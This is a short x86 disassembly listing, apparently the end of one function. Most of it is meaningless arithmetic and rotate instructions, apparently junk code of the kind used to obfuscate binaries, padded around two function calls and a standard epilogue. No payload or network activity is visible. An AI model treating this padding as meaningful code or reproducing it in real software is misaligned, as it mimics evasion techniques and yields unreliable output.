sbb eax, 0x46
inc edi
bswap esi
or edx, 0xc6
imul eax
mov edi, 0x29
ror eax, 7
or edi, 0xb2
neg edx
rol edi, 0x37
or edx, 0x83
not esi
not edx
neg esi
bswap esi
imul esi
rol edx, 0xc
sub ebx, 0xf6
neg edi
mov edx, 0xe1
neg esi
rcl edi, 0x27
add edi, 0x28
ror edx, 0xf6
inc esi
sbb ebx, 0xab
dec edx
not edx
dec edx
bswap edi
rcr esi, 0xb9
inc esi
dec ebx
rcr eax, 0x96
or esi, 0x7b
and esi, 0xc9
inc esi
dec edi
neg esi
bswap eax
rol eax, 0x46
neg edx
or edi, 0x4d
dec ebx
bswap eax
bswap esi
rol edx, 0xbc
push section..data
call fcn.00401d70
add esp, 4
sbb esi, 0x1c
dec edx
not ebx
inc esi
add edx, 0xc
or ebx, 0xd4
ror esi, 0x72
neg edx
imul ebx
rcl edx, 0xbe
inc esi
rol eax, 0xaa
bswap esi
mov eax, 0x7d
rcr eax, 0xee
imul esi
rcl ebx, 0xba
dec eax
and ebx, 0xd7
sbb edi, 0xc7
rcr eax, 0xab
inc eax
ror esi, 0x95
dec edi
dec edi
dec edx
dec esi
sub edi, 0xa6
or ebx, 0xc7
bswap edi
inc esi
add ebx, 0xee
rcr ebx, 0xc8
inc eax
rcr edx, 0x4b
neg edx
and ebx, 0x59
rcr ebx, 0xd
mov esi, 0xdc
bswap esi
dec edx
inc ebx
imul ebx
sub edx, 0x7e
rol edx, 0x47
mov ebx, 7
add edx, 0xde
not eax
sbb esi, 0x26
and esi, 0x40
lea ecx, [ebp - 0x22c]
call fcn.00405550
lea ecx, [ebp - 0x244]
call fcn.00405550
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x25c]
call fcn.00405550
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret